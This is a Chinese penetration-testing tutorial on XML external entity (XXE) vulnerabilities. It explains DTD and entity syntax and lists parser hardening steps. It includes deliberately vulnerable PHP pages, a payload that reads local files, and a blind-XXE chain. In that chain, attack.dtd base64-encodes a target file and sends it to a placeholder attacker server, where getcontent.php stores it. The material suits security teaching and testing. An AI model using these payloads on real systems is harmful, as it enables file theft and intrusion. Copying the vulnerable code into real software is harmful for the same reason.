其他分享
首页 > 其他分享> > 渗透测试-16:XXE 漏洞

渗透测试-16:XXE 漏洞

作者:互联网

XML

DTD

• DTD(Document Type Definition)文档类型定义
• DTD规定、约束符合标准通用语言或可扩展标记语言规则的定义和陈述
• DTD是XML的约束,通过DTD验证的XML是“合法”的XML

DTD语法

元素约束

格式:<!ELEMENT name content-type>

属性约束

格式:<!ATTLIST 元素名 属性名称 属性类型 属性特点>

属性类型:

属性特点:

验证XML是否符合DTD约束

<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8" />
		<title>检测xml格式</title>
		<script type="text/javascript">
			var doc = new ActiveXObject("Microsoft.XMLDOM");
			doc.validateOnParse = true;
			doc.async = false; //同步校验
			function detect() {
				doc.load("test.xml");
				var error = document.getElementById("error");
				var results = "";
				results += "错误信息:" + doc.parseError.reason + "<br/>";
				results += "错误行数:" + doc.parseError.line + "<br/>";
				results += "错误位置:" + doc.parseError.linepos + "<br/>";
				results += "错误代码:" + doc.parseError.errorCode + "<br/>";
				error.innerHTML = results;
			}
		</script>
	</head>
	<body>
		<input type="button" value="检测" onclick="detect()" />
		<div id="error"></div>
	</body>
</html>

实体

实体(ENTITY):如果在XML文档中需要频繁使用某一条数据,我们可以预先给这个数据起一个别名(类似于变量),即一个ENTITY,然后在文档中调用它

类型 普通实体 参数实体
内部 <!ENTITY 实体名 "文本内容"> <!ENTITY % 实体名 "文本内容">
外部 <!ENTITY 实体名 SYSTEM "外部文件/URL"> <!ENTITY % 实体名 SYSTEM "外部文件/URL">
引用方式 &实体名; %实体名;
使用场合 用在XML文档中(包括DTD) 只用在DTD的元素和属性声明中

php解析xml

<?php
header("content-type:text/html;charset=utf-8");
$xml = simplexml_load_file("xxx.xml");
for ($i = 0; $i < count($xml->user); $i++) {
    $result = $xml->user[$i]->addr;
    echo $result . "<br>";
}
<?php
header("content-type:text/html;charset=utf-8");
libxml_disable_entity_loader(false);
$xmldoc = file_get_contents("xxx.xml");
$dom->loadXML($xmldoc, LIBXML_NOENT | LIBXML_DTDLOAD);
$result = simplexml_import_dom($dom);
for ($i = 0; $i < count($result->user); $i++) {
    $data = $result->user[$i]->addr;
    echo $data . "<br>";
}

外部实体

总结

XXE漏洞原理

漏洞危害

漏洞防御

  1. 禁用外部实体的方法

    PHP

    libxml_disable_entity_loader(true);
    

    JAVA

    DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
    dbf.setExpandEntityReferences(false);
    

    Python

    from lxml import etree
    xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
    
  2. 过滤用户提交的XML数据

    过滤关键词:<!DOCTYPE <!ENTITY SYSTEM PUBLIC

漏洞复现

漏洞源码(有回显)

<?php
header('Content-type:text/html;charset=utf-8');
libxml_disable_entity_loader(false);
if (isset($_POST['xml'])) {
    $xml = $_POST['xml'];
    $dom = new DOMDocument();
    $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
    $data = simplexml_import_dom($dom);
    echo "result: " . $data;
}
?>
<html>

<head>
    <title>xxe案例</title>
</head>

<body>
    <h1>XXE案例</h1>
    <form action="" method="post">
        <input type="text" style="width: 300px;height:150px;" name="xml">
        <input type="submit" value="submit">
    </form>
</body>

</html>

payload

<?xml version="1.0"?>
<!DOCTYPE root [
    <!ENTITY xxe SYSTEM "file:///[目标文件及路径]">
]>
<root>&xxe;</root>

漏洞源码(无回显)

<?php
header('Content-type:text/html;charset=utf-8');
libxml_disable_entity_loader(false);
if (isset($_POST['xml'])) {
    $xml = $_POST['xml'];
    $dom = new DOMDocument();
    $dom->loadXML($xml, LIBXML_NOENT | LIBXML_DTDLOAD);
    $data = simplexml_import_dom($dom);
    // echo "result: " . $data;
}
?>
<html>

<head>
    <title>XXE案例</title>
</head>

<body>
    <h1>XXE案例</h1>
    <form action="" method="post">
        <input type="text" style="width: 300px;height:150px;" name="xml">
        <input type="submit" value="submit">
    </form>
</body>

</html>

攻击者服务器

attack.dtd

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=[目标文件及路径]">
<!ENTITY % payload "<!ENTITY &#x25; getcontent SYSTEM 'http://[攻击者服务器IP]/xxe/getcontent.php?content=%file;'>">
%file;
%payload;
%getcontent;

getcontent.php

<?php
$content = $_GET['content'];
$content = base64_decode($content);
file_put_contents("xxe_results.txt", $content);

payload

<?xml version="1.0"?>
<!DOCTYPE root[
    <!ENTITY % xxe SYSTEM "http://[攻击者服务器IP]/xxe/attack.dtd">
    %xxe;
]>

漏洞利用

内网主机扫描

利用协议和IP地址最后一位字典遍历,结合Burp爆破返回数据包长度判断

内网端口探测

代码将尝试与端口8080通信,根据响应时间/长度,攻击者将可以判断该端口是否已被开启

远程代码执行

这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,主要是由于配置不当/开发内部应用导致的。且php的expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令

标签:XML,16,实体,DTD,漏洞,文档,XXE
来源: https://www.cnblogs.com/toki-plus/p/16079833.html